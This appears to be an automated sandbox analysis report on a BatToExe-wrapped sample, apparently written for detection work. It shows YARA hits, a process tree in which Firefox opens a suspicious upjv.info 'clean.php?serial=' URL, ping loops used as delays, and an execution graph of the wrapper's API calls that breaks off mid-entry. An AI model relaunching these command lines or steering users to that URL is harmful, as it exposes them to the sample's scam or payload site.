                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000F.00000002.2244829208.00000295A9E90000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000F.00000002.2243026015.00000295A9A5A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  • Rule: JoeSecurity_BatToExe, Description: Yara detected BatToExe compiled binary, Source: 0000000F.00000002.2243026015.00000295A9A50000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:16
                                                                                                                                                                                                                                                                  Start time:05:39:18
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOH --attempting-deelevation
                                                                                                                                                                                                                                                                  Imagebase:0x7ff79f9e0000
                                                                                                                                                                                                                                                                  File size:676'768 bytes
                                                                                                                                                                                                                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:17
                                                                                                                                                                                                                                                                  Start time:05:39:18
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Mozilla Firefox\firefox.exe" http://upjv.info/clean/clean.php?serial=F2LEUD3EOH
                                                                                                                                                                                                                                                                  Imagebase:0x7ff79f9e0000
                                                                                                                                                                                                                                                                  File size:676'768 bytes
                                                                                                                                                                                                                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:18
                                                                                                                                                                                                                                                                  Start time:05:39:19
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:ping 127.0.0.1 -n 2
                                                                                                                                                                                                                                                                  Imagebase:0xc0000
                                                                                                                                                                                                                                                                  File size:18'944 bytes
                                                                                                                                                                                                                                                                  MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:20
                                                                                                                                                                                                                                                                  Start time:05:39:19
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2264 -parentBuildID 20230927232528 -prefsHandle 2208 -prefMapHandle 2200 -prefsLen 25308 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {ee62d03a-b3f3-4839-a2d9-d46293892022} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2434ae6bb10 socket
                                                                                                                                                                                                                                                                  Imagebase:0x7ff79f9e0000
                                                                                                                                                                                                                                                                  File size:676'768 bytes
                                                                                                                                                                                                                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:21
                                                                                                                                                                                                                                                                  Start time:05:39:20
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Windows\SysWOW64\PING.EXE
                                                                                                                                                                                                                                                                  Wow64 process (32bit):true
                                                                                                                                                                                                                                                                  Commandline:ping 127.0.0.1 -n 420
                                                                                                                                                                                                                                                                  Imagebase:0xc0000
                                                                                                                                                                                                                                                                  File size:18'944 bytes
                                                                                                                                                                                                                                                                  MD5 hash:B3624DD758CCECF93A1226CEF252CA12
                                                                                                                                                                                                                                                                  Has elevated privileges:true
                                                                                                                                                                                                                                                                  Has administrator privileges:true
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:true

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:22
                                                                                                                                                                                                                                                                  Start time:05:39:21
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4164 -parentBuildID 20230927232528 -prefsHandle 4628 -prefMapHandle 4620 -prefsLen 26338 -prefMapSize 237879 -appDir "C:\Program Files\Mozilla Firefox\browser" - {82d645db-fc8a-46d4-a6c6-6ecf6ff53d4a} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435dcb5e10 rdd
                                                                                                                                                                                                                                                                  Imagebase:0x7ff79f9e0000
                                                                                                                                                                                                                                                                  File size:676'768 bytes
                                                                                                                                                                                                                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                  General

                                                                                                                                                                                                                                                                  Target ID:23
                                                                                                                                                                                                                                                                  Start time:05:39:40
                                                                                                                                                                                                                                                                  Start date:21/10/2024
                                                                                                                                                                                                                                                                  Path:C:\Program Files\Mozilla Firefox\firefox.exe
                                                                                                                                                                                                                                                                  Wow64 process (32bit):false
                                                                                                                                                                                                                                                                  Commandline:"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=5136 -parentBuildID 20230927232528 -sandboxingKind 0 -prefsHandle 5200 -prefMapHandle 5196 -prefsLen 33119 -prefMapSize 237879 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {02166d0c-fa79-4115-8a80-2fad783b6113} 1088 "\\.\pipe\gecko-crash-server-pipe.1088" 2435db1b910 utility
                                                                                                                                                                                                                                                                  Imagebase:0x7ff79f9e0000
                                                                                                                                                                                                                                                                  File size:676'768 bytes
                                                                                                                                                                                                                                                                  MD5 hash:C86B1BE9ED6496FE0E0CBE73F81D8045
                                                                                                                                                                                                                                                                  Has elevated privileges:false
                                                                                                                                                                                                                                                                  Has administrator privileges:false
                                                                                                                                                                                                                                                                  Programmed in:C, C++ or other language
                                                                                                                                                                                                                                                                  Has exited:false

                                                                                                                                                                                                                                                                  Disassembly

                                                                                                                                                                                                                                                                  Reset < >

                                                                                                                                                                                                                                                                    Execution Graph

                                                                                                                                                                                                                                                                    Execution Coverage:24.7%
                                                                                                                                                                                                                                                                    Dynamic/Decrypted Code Coverage:0%
                                                                                                                                                                                                                                                                    Signature Coverage:4.1%
                                                                                                                                                                                                                                                                    Total number of Nodes:1229
                                                                                                                                                                                                                                                                    Total number of Limit Nodes:28
                                                                                                                                                                                                                                                                    execution_graph 2630 405480 SetUnhandledExceptionFilter 2631 401000 memset GetModuleHandleA HeapCreate 2632 401044 2631->2632 3017 40ab20 HeapCreate HeapAlloc 2632->3017 2634 401049 3018 408a23 memset RegisterClassA CreateWindowExA RegisterWindowMessageA 2634->3018 2640 401062 3029 407e90 HeapCreate 2640->3029 2642 401067 3030 407e72 2642->3030 2650 40107b 3051 405791 InitializeCriticalSection GetStockObject 2650->3051 2652 401080 3056 404bf5 2652->3056 2654 40108a 3061 40486d memset InitCommonControlsEx CoInitialize 2654->3061 2656 40108f 3062 405548 2656->3062 2662 4010d3 3083 404068 2662->3083 2665 404068 4 API calls 2666 4010f3 2665->2666 2667 404068 4 API calls 2666->2667 2668 401103 2667->2668 2669 404068 4 API calls 2668->2669 2670 401113 2669->2670 2671 404068 4 API calls 2670->2671 2672 401123 2671->2672 2673 404068 4 API calls 2672->2673 2674 401133 2673->2674 2675 404068 4 API calls 2674->2675 2676 401143 2675->2676 2677 404068 4 API calls 2676->2677 2678 401153 2677->2678 2679 404068 4 API calls 2678->2679 2680 401163 2679->2680 2681 404068 4 API calls 2680->2681 2682 401173 2681->2682 2683 404068 4 API calls 2682->2683 2684 401183 2683->2684 2685 404068 4 API calls 2684->2685 2686 401193 2685->2686 2687 404068 4 API calls 2686->2687 2688 4011a3 2687->2688 3086 40633f GetVersionExA 2688->3086 2691 4011ca 3091 405330 2691->3091 2692 4011af 3322 4048a4 2692->3322 2695 4011d6 3097 404d33 2695->3097 2698 401fd5 ExitProcess 3321 40ab70 HeapFree HeapDestroy 2698->3321 2701 401fdf HeapDestroy ExitProcess 2704 40120c PathRemoveArgsA 2705 401333 2704->2705 2728 401225 2704->2728 2706 40ac50 2 API calls 2705->2706 2707 401344 2706->2707 2710 40aba0 2 API calls 2707->2710 2708 4012b6 GetCommandLineA 2709 407ec0 2 API calls 2708->2709 2712 4012d7 PathGetArgsA 2709->2712 2713 401331 2710->2713 2714 407ec0 2 API calls 2712->2714 3111 4037f1 2713->3111 2716 4012f7 2714->2716 2718 40aba0 2 API calls 2716->2718 2721 401301 2718->2721 2719 401362 3120 403297 2719->3120 2720 401379 2723 4048a4 20 API calls 2720->2723 2724 40ac50 2 API calls 2721->2724 2726 4011c5 2723->2726 2727 401312 2724->2727 2726->2698 2729 40ac50 2 API calls 2727->2729 2728->2708 2730 40ac50 2 API calls 2728->2730 2737 40aba0 HeapAlloc HeapReAlloc 2728->2737 3329 404ce5 2728->3329 2732 40131c 2729->2732 2730->2728 2731 4037f1 7 API calls 2733 4013a9 2731->2733 2736 40ac50 2 API calls 2732->2736 2734 4013d2 2733->2734 2735 4013ad 2733->2735 2739 4048a4 20 API calls 2734->2739 3147 407f10 2735->3147 2740 401327 2736->2740 2737->2728 2739->2726 2742 40aba0 2 API calls 2740->2742 2741 4013c6 2743 40aba0 2 API calls 2741->2743 2742->2713 2744 4013d0 2743->2744 2745 4037f1 7 API calls 2744->2745 2746 401402 2745->2746 2747 401426 2746->2747 2748 401406 2746->2748 2749 4048a4 20 API calls 2747->2749 2750 4037f1 7 API calls 2748->2750 2749->2726 2751 401456 2750->2751 2752 4037f1 7 API calls 2751->2752 2753 401488 2752->2753 2754 4037f1 7 API calls 2753->2754 2757 4014ba 2754->2757 2755 401742 2756 407f10 2 API calls 2755->2756 2758 40175b 2756->2758 2757->2755 2760 4014f1 2757->2760 2761 4014d1 2757->2761 2759 40aba0 2 API calls 2758->2759 2762 401765 2759->2762 3335 406890 2760->3335 2764 40ac50 2 API calls 2761->2764 2765 407f10 2 API calls 2762->2765 2767 4014e2 2764->2767 2769 40177e 2765->2769 2768 40aba0 2 API calls 2767->2768 2779 4014ec 2768->2779 2771 40aba0 2 API calls 2769->2771 2773 401788 2771->2773 2775 4037f1 7 API calls 2773->2775 2777 401798 2775->2777 2780 401a00 2777->2780 2783 404ce5 3 API calls 2777->2783 3396 4094b0 2779->3396 2785 4037f1 7 API calls 2780->2785 2789 4017b2 2783->2789 2787 401a10 2785->2787 2791 401a18 2787->2791 2792 401b3c 2787->2792 2788 407f10 2 API calls 2793 4016a3 2788->2793 2794 407f10 2 API calls 2789->2794 2796 407fb0 RtlAllocateHeap 2791->2796 3154 40ac50 2792->3154 2802 4016e9 2793->2802 2803 4016be 2793->2803 2810 4017d1 2794->2810 2798 401a22 2796->2798 2801 40812d 6 API calls 2798->2801 2799 401b4d 2804 40ac50 2 API calls 2799->2804 2806 401a34 2801->2806 2808 4037f1 7 API calls 2802->2808 2807 4048a4 20 API calls 2803->2807 2809 401b57 2804->2809 2805 4015b7 RemoveDirectoryA 2805->2698 2811 40aba0 2 API calls 2806->2811 2812 4016d4 RemoveDirectoryA 2807->2812 2813 4016f9 2808->2813 2814 40ac50 2 API calls 2809->2814 2810->2780 2815 401808 2810->2815 2816 401a3e GetTempFileNameA 2811->2816 2812->2698 3402 4038d5 2813->3402 2817 401b62 2814->2817 3429 408065 2815->3429 2820 407ec0 2 API calls 2816->2820 2822 40aba0 2 API calls 2817->2822 2818 4015a7 2818->2805 2824 4015eb 2818->2824 2827 401633 2818->2827 3366 406ab7 2818->3366 2825 401a6c 2820->2825 2826 401b6c 2822->2826 2823 40181d 3433 404917 2823->3433 3369 405fb4 2824->3369 2830 40aba0 2 API calls 2825->2830 3158 408570 2826->3158 2832 405fb4 4 API calls 2827->2832 2835 401a76 2830->2835 2839 401645 2832->2839 2833 401838 2840 40aba0 2 API calls 2833->2840 2834 4015fd 2841 40aba0 2 API calls 2834->2841 3471 407fd0 HeapFree 2835->3471 2836 401b7c 2837 401b84 2836->2837 2838 401c6e 2836->2838 3169 4087d0 2837->3169 2845 4081bc 2 API calls 2838->2845 2844 40aba0 2 API calls 2839->2844 2861 401842 2840->2861 2846 401607 2841->2846 2849 40164f 2844->2849 2850 401c79 2845->2850 3375 406453 2846->3375 2847 401a81 2852 4081bc 2 API calls 2847->2852 2848 401b93 GetCommandLineA 2853 407ec0 2 API calls 2848->2853 2854 406453 19 API calls 2849->2854 2855 403b82 8 API calls 2850->2855 2857 401a8c 2852->2857 2859 401bb6 PathGetArgsA 2853->2859 2856 401611 2854->2856 2860 401c7e 2855->2860 2856->2779 3472 4081ca 2857->3472 2864 407ec0 2 API calls 2859->2864 2866 4048a4 20 API calls 2860->2866 2862 4019ae 2861->2862 2867 40ac50 2 API calls 2861->2867 2865 404d46 4 API calls 2862->2865 2869 401bd6 2864->2869 2870 4019c9 2865->2870 2871 401c94 RemoveDirectoryA 2866->2871 2872 401866 2867->2872 2868 40ac50 2 API calls 2873 401ab3 2868->2873 3181 404da1 2869->3181 2875 4080b7 2 API calls 2870->2875 2871->2698 2876 40aba0 2 API calls 2872->2876 2878 40ac50 2 API calls 2873->2878 2880 4019d7 2875->2880 2877 401870 2876->2877 2881 4080a5 SetCurrentDirectoryA 2877->2881 2882 401abd 2878->2882 2884 4080a5 SetCurrentDirectoryA 2880->2884 2893 40187b 2881->2893 2885 40aba0 2 API calls 2882->2885 2883 4087d0 7 API calls 2886 401c06 2883->2886 2887 4019e5 RemoveDirectoryA 2884->2887 2888 401ac7 2885->2888 2889 4037f1 7 API calls 2886->2889 2887->2698 2890 408570 8 API calls 2888->2890 2891 401c16 2889->2891 2894 401ad7 2890->2894 2895 401c5c 2891->2895 2900 407f10 2 API calls 2891->2900 2892 401895 3454 408640 2892->3454 2893->2892 2897 4033c5 66 API calls 2893->2897 3477 408770 2894->3477 3185 408350 2895->3185 2897->2892 2903 401c42 2900->2903 2901 4018a5 2905 401980 2901->2905 2908 408350 5 API calls 2901->2908 2902 401aed 2906 408350 5 API calls 2902->2906 2904 4087d0 7 API calls 2903->2904 2904->2895 2907 408570 8 API calls 2905->2907 2909 401af7 2906->2909 2910 401990 2907->2910 2911 4018b7 2908->2911 2913 40ac50 2 API calls 2909->2913 2910->2862 3464 4086f0 2910->3464 2914 40ac50 2 API calls 2911->2914 2912 401c6c 2915 401cc3 2912->2915 3193 4033c5 2912->3193 2916 401b08 2913->2916 2921 4018d3 2914->2921 3250 407fb0 2915->3250 2918 40aba0 2 API calls 2916->2918 2922 401b12 PathQuoteSpacesA 2918->2922 2925 40ac50 2 API calls 2921->2925 2927 404da1 SetEnvironmentVariableA 2922->2927 2923 401ccd 3253 40812d 2923->3253 2924 4019a4 2929 408350 5 API calls 2924->2929 2926 4018dd 2925->2926 2930 40ac50 2 API calls 2926->2930 2931 401b2d 2927->2931 2929->2862 2933 4018e8 2930->2933 2934 404da1 SetEnvironmentVariableA 2931->2934 2932 401cdf 2935 40aba0 2 API calls 2932->2935 2936 40ac50 2 API calls 2933->2936 2934->2792 2937 401ce9 GetTempFileNameA 2935->2937 2938 4018f2 2936->2938 2939 407ec0 2 API calls 2937->2939 2940 40ac50 2 API calls 2938->2940 2941 401d17 2939->2941 2942 4018fd 2940->2942 2943 40aba0 2 API calls 2941->2943 2944 4048a4 20 API calls 2942->2944 2945 401d21 2943->2945 2946 401918 2944->2946 3260 4040f0 2945->3260 2946->2905 2948 40192e 2946->2948 2950 404d46 4 API calls 2948->2950 2949 401d33 2951 40aba0 2 API calls 2949->2951 2952 401949 2950->2952 2953 401d3d 2951->2953 2955 4080b7 2 API calls 2952->2955 3266 404d46 2953->3266 2957 401957 2955->2957 2956 401d5b GetShortPathNameA 2958 404d46 4 API calls 2956->2958 2959 4080a5 SetCurrentDirectoryA 2957->2959 2960 401d88 2958->2960 2961 401965 RemoveDirectoryA 2959->2961 2962 404da1 SetEnvironmentVariableA 2960->2962 2961->2698 2963 401da2 2962->2963 2964 404d46 4 API calls 2963->2964 2965 401dc3 2964->2965 3271 4082e8 2965->3271 2968 404da1 SetEnvironmentVariableA 2969 401deb 2968->2969 2970 404d46 4 API calls 2969->2970 2971 401e0c 2970->2971 3274 4080b7 2971->3274 2973 401e1a 2974 404da1 SetEnvironmentVariableA 2973->2974 2975 401e34 2974->2975 3279 4041f0 2975->3279 2978 404da1 SetEnvironmentVariableA 2979 401e6d 2978->2979 2980 40ac50 2 API calls 2979->2980 2981 401e84 2980->2981 2982 40aba0 2 API calls 2981->2982 2983 401e8e PathAddBackslashA 2982->2983 2984 404da1 SetEnvironmentVariableA 2983->2984 2985 401ea9 2984->2985 3282 404380 2985->3282 2987 401ec4 2988 404da1 SetEnvironmentVariableA 2987->2988 2989 401ede 2988->2989 2990 404da1 SetEnvironmentVariableA 2989->2990 2991 401ef4 2990->2991 3290 40521d 2991->3290 2996 401f26 3300 40527e GetExitCodeProcess 2996->3300 3000 401f3f 3301 40529c CloseHandle 3000->3301 3002 401f4f 3310 403b82 3002->3310 3007 4081bc 2 API calls 3008 401f6a 3007->3008 3009 4081bc 2 API calls 3008->3009 3010 401f75 3009->3010 3011 404d46 4 API calls 3010->3011 3012 401f90 3011->3012 3013 4080b7 2 API calls 3012->3013 3014 401f9e 3013->3014 3318 4080a5 3014->3318 3017->2634 3484 40a26a HeapAlloc 3018->3484 3023 401058 3025 4083d0 3023->3025 3024 408adf InitializeCriticalSection 3024->3023 3575 40a21a HeapAlloc HeapAlloc 3025->3575 3027 40105d 3028 408059 TlsAlloc 3027->3028 3028->2640 3029->2642 3031 40a26a HeapAlloc 3030->3031 3032 40106c 3031->3032 3033 407de9 3032->3033 3576 40a21a HeapAlloc HeapAlloc 3033->3576 3035 401071 3036 407551 LoadLibraryA 3035->3036 3037 407573 GetProcAddress 3036->3037 3038 407584 GetVersionExA 3036->3038 3037->3038 3039 4075a3 3038->3039 3040 401076 3039->3040 3041 4075ca 3039->3041 3044 406580 3040->3044 3577 407498 LoadLibraryA 3041->3577 3587 40a21a HeapAlloc HeapAlloc 3044->3587 3046 40658f 3047 40a26a HeapAlloc 3046->3047 3048 40659f 3047->3048 3049 40a26a HeapAlloc 3048->3049 3050 4065ad LoadIconA LoadCursorA 3049->3050 3050->2650 3588 40a21a HeapAlloc HeapAlloc 3051->3588 3053 4057bc 3054 40a26a HeapAlloc 3053->3054 3055 4057d2 memset InitCommonControlsEx 3054->3055 3055->2652 3057 40a26a HeapAlloc 3056->3057 3058 404c00 3057->3058 3589 40a21a HeapAlloc HeapAlloc 3058->3589 3060 404c13 InitializeCriticalSection 3060->2654 3061->2656 3063 405554 3062->3063 3064 40109a 3062->3064 3590 4056f0 3063->3590 3073 405497 HeapAlloc 3064->3073 3067 40a661 9 API calls 3068 405563 3067->3068 3069 40557c HeapFree 3068->3069 3072 40558e 3068->3072 3069->3069 3069->3072 3070 4055a0 HeapFree 3070->3064 3071 405594 HeapFree 3071->3070 3072->3070 3072->3071 3074 4054b6 HeapAlloc 3073->3074 3075 4054c9 3073->3075 3074->3075 3076 40a2a5 9 API calls 3075->3076 3077 4010b5 3076->3077 3078 40a8cd 3077->3078 3597 40a9f5 3078->3597 3081 40a8fc memset 3082 40a939 3081->3082 3082->2662 3603 40ad30 3083->3603 3085 4010e3 3085->2665 3087 40636d 3086->3087 3088 4011a8 3086->3088 3087->3088 3089 40637e GetVersionExA 3087->3089 3088->2691 3088->2692 3090 406397 3089->3090 3090->3088 3092 405350 3091->3092 3093 405358 3092->3093 3094 40537a SetUnhandledExceptionFilter 3092->3094 3095 405361 SetUnhandledExceptionFilter 3093->3095 3096 40536b SetUnhandledExceptionFilter 3093->3096 3094->2695 3095->3096 3096->2695 3098 404d3e 3097->3098 3610 404c24 3098->3610 3101 407ec0 3102 407ecd 3101->3102 3615 40ade0 3102->3615 3105 401202 3107 40aba0 3105->3107 3106 407eee memcpy 3106->3105 3108 40abd3 HeapReAlloc 3107->3108 3109 40abb7 HeapAlloc 3107->3109 3110 40abf4 3108->3110 3109->3110 3110->2704 3618 404060 3111->3618 3114 403823 LoadResource SizeofResource 3115 403847 3114->3115 3116 403862 3115->3116 3117 407fb0 RtlAllocateHeap 3115->3117 3118 40acb0 HeapFree 3116->3118 3117->3116 3119 40135e 3118->3119 3119->2719 3119->2720 3121 407fb0 RtlAllocateHeap 3120->3121 3122 4032a7 3121->3122 3123 40812d 6 API calls 3122->3123 3124 4032bb 3123->3124 3125 40aba0 2 API calls 3124->3125 3126 4032c5 GetTempFileNameA 3125->3126 3127 407ec0 2 API calls 3126->3127 3128 4032f0 3127->3128 3129 40aba0 2 API calls 3128->3129 3130 4032fc 3129->3130 3627 407fd0 HeapFree 3130->3627 3132 403304 3133 4081bc 2 API calls 3132->3133 3134 40330f 3133->3134 3135 4081ca 3 API calls 3134->3135 3136 40331a 3135->3136 3137 408065 2 API calls 3136->3137 3138 40332b 3137->3138 3139 40aba0 2 API calls 3138->3139 3140 403337 3139->3140 3141 40ac50 2 API calls 3140->3141 3144 403366 3140->3144 3142 40335a 3141->3142 3143 40aba0 2 API calls 3142->3143 3143->3144 3145 40acb0 HeapFree 3144->3145 3146 401377 3145->3146 3146->2731 3148 407f1a 3147->3148 3149 407f2d 3147->3149 3150 407ec0 2 API calls 3148->3150 3152 40ade0 HeapReAlloc 3149->3152 3151 407f29 3150->3151 3151->2741 3153 407f3f 3152->3153 3153->2741 3155 40ac7e 3154->3155 3156 40ac5f strlen 3154->3156 3155->2799 3157 40ade0 HeapReAlloc 3156->3157 3157->3155 3628 40a135 3158->3628 3161 4085c6 3163 408619 3161->3163 3164 4085cc 3161->3164 3162 4085ad CreateFileA 3162->3161 3162->3163 3165 40862d 3163->3165 3637 40a1df 3163->3637 3166 4085d5 HeapAlloc 3164->3166 3167 4085e9 3164->3167 3165->2836 3166->3167 3167->2836 3171 4087f5 3169->3171 3170 408897 3170->2848 3171->3170 3172 408831 3171->3172 3176 408837 3171->3176 3177 40881f 3171->3177 3173 408872 WriteFile 3172->3173 3174 408855 3172->3174 3173->2848 3175 4088b0 5 API calls 3174->3175 3178 408862 3175->3178 3176->3176 3179 40883e WriteFile 3176->3179 3649 4088b0 3177->3649 3178->2848 3179->3172 3182 404daa SetEnvironmentVariableA 3181->3182 3183 401bf0 3181->3183 3182->3183 3183->2883 3187 408369 3185->3187 3191 40835a 3185->3191 3186 4083b1 3186->2912 3187->3186 3188 40839b CloseHandle 3187->3188 3189 408310 WriteFile 3187->3189 3190 40a1df 2 API calls 3188->3190 3192 408389 HeapFree 3189->3192 3190->3186 3191->2912 3192->3188 3194 4033cc 3193->3194 3194->3194 3195 404060 2 API calls 3194->3195 3196 4033e5 3195->3196 3197 4080a5 SetCurrentDirectoryA 3196->3197 3201 4033f8 3197->3201 3199 40aba0 HeapAlloc HeapReAlloc 3199->3201 3200 40ac50 2 API calls 3200->3201 3201->3199 3201->3200 3225 403492 3201->3225 3663 404410 3201->3663 3202 4036ce 3682 404850 3202->3682 3205 4041f0 HeapReAlloc 3206 403708 3205->3206 3208 40ac50 2 API calls 3206->3208 3249 4035fc 3206->3249 3207 404380 HeapReAlloc 3207->3225 3209 403742 3208->3209 3212 40ac50 2 API calls 3209->3212 3210 404da1 SetEnvironmentVariableA 3210->3225 3211 40acb0 HeapFree 3213 4037ce 3211->3213 3214 40374c 3212->3214 3215 40acb0 HeapFree 3213->3215 3216 40ac50 2 API calls 3214->3216 3218 4037d7 3215->3218 3219 403755 3216->3219 3217 408640 7 API calls 3217->3225 3220 40acb0 HeapFree 3218->3220 3223 40ac50 2 API calls 3219->3223 3224 4037e0 3220->3224 3221 408350 5 API calls 3221->3225 3222 408570 8 API calls 3222->3225 3226 40375f 3223->3226 3227 40acb0 HeapFree 3224->3227 3225->3202 3225->3207 3225->3210 3225->3217 3225->3221 3225->3222 3228 403619 3225->3228 3234 40ac50 strlen HeapReAlloc 3225->3234 3241 40aba0 HeapAlloc HeapReAlloc 3225->3241 3245 4048a4 20 API calls 3225->3245 3247 4035f7 3225->3247 3229 40ac50 2 API calls 3226->3229 3230 4037e9 3227->3230 3228->3225 3231 408770 6 API calls 3228->3231 3235 408350 5 API calls 3228->3235 3242 40ac50 2 API calls 3228->3242 3244 40aba0 2 API calls 3228->3244 3674 4055b0 3228->3674 3679 4097d0 3228->3679 3232 40376a 3229->3232 3230->2915 3231->3228 3233 4048a4 20 API calls 3232->3233 3236 403785 3233->3236 3234->3225 3235->3228 3237 403b82 8 API calls 3236->3237 3236->3249 3239 40379d 3237->3239 3240 4081bc 2 API calls 3239->3240 3243 4037a8 RemoveDirectoryA 3240->3243 3241->3225 3242->3228 3243->3249 3244->3228 3245->3225 3248 403b82 8 API calls 3247->3248 3248->3249 3249->3211 3251 407fb8 RtlAllocateHeap 3250->3251 3252 407fca 3250->3252 3251->2923 3252->2923 3254 40ade0 HeapReAlloc 3253->3254 3255 408140 GetTempPathA LoadLibraryA 3254->3255 3256 40817b 3255->3256 3257 40815d GetProcAddress 3255->3257 3256->2932 3258 408174 FreeLibrary 3257->3258 3259 40816d GetLongPathNameA 3257->3259 3258->3256 3259->3258 3261 4040fa 3260->3261 3262 40ade0 HeapReAlloc 3261->3262 3263 404107 3262->3263 3264 404122 3263->3264 3265 40410d memset 3263->3265 3264->2949 3265->2949 3267 40ade0 HeapReAlloc 3266->3267 3268 404d58 GetModuleFileNameA strcmp 3267->3268 3269 404d7b memmove 3268->3269 3270 404d8f 3268->3270 3269->3270 3270->2956 3715 408240 3271->3715 3273 401dd1 3273->2968 3275 4080c8 3274->3275 3276 40ade0 HeapReAlloc 3275->3276 3277 408105 3276->3277 3278 408117 memmove 3277->3278 3278->2973 3720 404130 3279->3720 3281 401e53 3281->2978 3283 4043b2 3282->3283 3284 40439b 3282->3284 3286 40ade0 HeapReAlloc 3283->3286 3284->3283 3285 4043a2 3284->3285 3724 4042c0 3285->3724 3289 4043bf 3286->3289 3288 4043ad 3288->2987 3289->2987 3727 404df9 memset 3290->3727 3292 401f10 3293 405237 WaitForSingleObject 3292->3293 3294 40524e 3293->3294 3296 401f20 3293->3296 3295 405255 PeekNamedPipe 3294->3295 3294->3296 3295->3296 3296->2996 3297 406432 3296->3297 3298 40643b timeBeginPeriod 3297->3298 3299 40644d Sleep 3297->3299 3298->3299 3300->3000 3302 4052b3 CloseHandle 3301->3302 3303 4052b6 3301->3303 3302->3303 3304 4052c0 3303->3304 3305 4052bd CloseHandle 3303->3305 3306 4052c7 CloseHandle 3304->3306 3307 4052ca EnterCriticalSection 3304->3307 3305->3304 3306->3307 3308 40a88d HeapFree 3307->3308 3309 4052e1 LeaveCriticalSection 3308->3309 3309->3002 3311 401f54 3310->3311 3313 403b8f 3310->3313 3315 4081bc 3311->3315 3312 4097d0 6 API calls 3312->3313 3313->3311 3313->3312 3314 4081bc 2 API calls 3313->3314 3314->3313 3799 40818e 3315->3799 3319 401fac RemoveDirectoryA RemoveDirectoryA 3318->3319 3320 4080ac SetCurrentDirectoryA 3318->3320 3319->2698 3320->3319 3321->2701 3804 404af1 3322->3804 3327 404af1 16 API calls 3328 4048cd 3327->3328 3328->2726 3330 404cf8 3329->3330 3331 404c24 GetCommandLineA 3330->3331 3332 404d0d 3331->3332 3333 40ade0 HeapReAlloc 3332->3333 3334 404d1b strncpy 3333->3334 3334->2728 3828 4065d8 3335->3828 3338 405a73 3870 40597b 3338->3870 3341 405c4c 3342 405c5d 3341->3342 3343 405c6d memset 3342->3343 3344 405cde CreateWindowExA 3342->3344 3343->3344 3346 401566 3344->3346 3347 405d2e 3344->3347 3351 405f59 3346->3351 3348 40a135 3 API calls 3347->3348 3349 405d3c SetWindowLongA 3348->3349 3350 